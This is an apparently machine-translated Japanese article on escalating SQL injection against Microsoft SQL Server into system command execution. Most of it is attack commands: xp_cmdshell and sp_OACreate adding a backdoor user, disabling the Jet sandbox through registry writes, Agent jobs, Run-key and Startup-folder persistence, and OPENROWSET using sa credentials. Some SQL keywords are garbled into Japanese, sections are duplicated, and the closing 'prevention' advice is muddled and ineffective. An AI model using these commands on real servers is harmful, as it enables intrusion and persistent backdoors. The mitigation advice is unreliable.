SQL Server は中小規模の Web サイトで広く使用されているデータベースですが、その強力な機能により、SQL インジェクション攻撃が長年にわたって流行しており、侵入手法が後を絶ちません。 SQL Server は複数のステートメントをサポートしているため、多くのハッカーは SQL Server に SQL を注入するときにテーブル名を推測するなどの方法を使用することはほとんどないと思いますが、SQL Server のストアド プロシージャと関数を使用してアクセス許可を迅速に取得することに目を向けます。これらのハックを導入するには、SQL Server システムのストアド プロシージャと関数に焦点を当てます。
1. システムコマンドを実行する
ストアド プロシージャを使用すると、システム コマンドの実行などのシェルをすばやく簡単に取得できます。ストレージ拡張機能の呼び出しは次のとおりです。
exec master..xp_cmdshell 'net user ray ray /add'
xp_cmdshell は、SQL Server に付属のシステム コマンド ストアド プロシージャであり、デフォルトでは SYSADMIN サーバー ロールのみが実行できます。
SQL SERVER は、OLE オブジェクト インターフェイスを使用して、OLE オブジェクトにアクセスするための関数 (sp_OACREATE および sp_OAMethod) を提供します。これらの関数を使用して、OLE コントロールを呼び出し、間接的にシェルを取得できます。 SP_OAcreate を使用してオブジェクト wscript を呼び出します。 shell は変数 @shell に割り当てられ、SP_OAMETHOD を使用して @shell の run 属性を呼び出してコマンドを実行します。
@shell INT を宣言する
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
アクセスのサンドボックス モードをオンにします。デフォルトでは、Jet データ エンジンは select シェル ("net user ray ray /add") などの SQL ステートメントをサポートしません。ただし、JET エンジンのサンドボックス モードをオンにすると、サポートされるようになります。最初にコマンドを実行します。 xp_regwrite ストアド プロシージャはレジストリを書き換え、次に OpenRowSet を使用してシステム自体に付属の ACCESS データベース ファイルにアクセスし、SQL ステートメントを実行してコマンドを実行します。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0 Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','selectshell("net user ray ray /add")');
これらに加えて、SQL エージェントを使用してコマンドを実行することもできます。このサービスは、最初に xp_servicecontrol を使用して SQLSERVERAGENT を開き、次に SQL スケジュールされたタスクを作成することができます。そしてすぐにタスクを実行します。
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
msdb exec sp_delete_job null,'x' を使用します
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
[カットページ]
2. 任意のファイルを記述してコマンドを実行する
xp_regwrite を使用してレジストリ エントリを書き込み、実行するコマンドを RUN スタートアップ エントリに直接書き込みます。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
ログをスタートアップ項目にバックアップする
データベースの完全回復モードを有効にして、新しいテーブルを作成し、バックアップするコマンドをログに挿入し、最後にログをユーザーの起動フォルダーにあるバッチ ファイルにバックアップします。このファイルは後で実行されます。マシンが再起動します。
データベースの変更 msdb セット RECOVERY FULL--
テーブル作成コマンド (イメージ)--
init を使用してログ msdb をディスク = 'c:cmd1' にバックアップします--
cmd (a) 値に挿入 ()--
ディスクへのバックアップ ログ ISTO = 'C:Documents and SettingsAll Users"Start" MenuProgramsStartup1.bat'--
ドロップテーブルコマンド--
3. 任意の権限を持つユーザーがコマンドを実行できる
任意の権限を持つサーバー ロールでは、サーバーの SYSADMIN ロールのアカウントとパスワードがわかっていれば、OPENROWSET マクロを使用してコマンドを実行できます。
select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[カットページ]
4. その他システム情報の取得
ディレクトリをトラバースする
exec master.dbo.xp_dirtree 'c:'
サブディレクトリの取得
exec master.dbo.xp_subdirs 'c:'
利用可能なシステム パーティションをリストする
exec master.dbo.xp_availablemedia
ディレクトリまたはファイルが存在するかどうかを確認する
exec master..xp_fileexist 'c:boot.ini'
5. SQL インジェクションを防ぐ方法はあります
1. テーブル構造を変更します。管理者のアカウント フィールドのデータ タイプを変更し、テキスト タイプを最大フィールドの 255 に変更し (実際には十分です。サイズを大きくしたい場合はメモ タイプを選択できます)、同じ方法でパスワード フィールドを設定します。
2. テーブルを変更します。 ID1に管理者権限のあるアカウントを設定し、漢字を多く入力します(できれば100文字以上)。
3. ID2 以降の任意の位置に実際の管理者パスワードを入力します。
以上の3ステップでデータベースの修正が完了しました。
この時点で変更は完了していますか? 実際には、そうではありません。作成した ID1 アカウントは、実際には実際の権限を持つアカウントであることを理解する必要があります。計算してみると、これは正しくありません。ほとんどの人はすでにその方法を考えていると思います。はい、管理者ログイン ページのファイルに文字数制限を記述するだけで、相手がこのアカウントのパスワードを数千文字使用してもブロックされ、実際のパスワードが盗まれる可能性があります。無制限。
[カットページ]2. 任意のファイルを記述してコマンドを実行する
xp_regwrite を使用してレジストリ エントリを書き込み、実行するコマンドを RUN スタートアップ エントリに直接書き込みます。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
ログをスタートアップ項目にバックアップする
データベースの完全回復モードを有効にして、新しいテーブルを作成し、バックアップするコマンドをログに挿入し、最後にログをユーザーの起動フォルダーにあるバッチ ファイルにバックアップします。このファイルは後で実行されます。マシンが再起動します。
データベースの変更 msdb セット RECOVERY FULL--
テーブル作成コマンド (イメージ)--
init を使用してログ msdb をディスク = 'c:cmd1' にバックアップします--
cmd (a) 値に挿入 ()--
ディスクへのバックアップ ログ ISTO = 'C:Documents and SettingsAll Users"Start" MenuProgramsStartup1.bat'--
ドロップテーブルコマンド--
3. 任意の権限を持つユーザーがコマンドを実行できる
任意の権限を持つサーバー ロールでは、サーバーの SYSADMIN ロールのアカウントとパスワードがわかっていれば、OPENROWSET マクロを使用してコマンドを実行できます。
select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')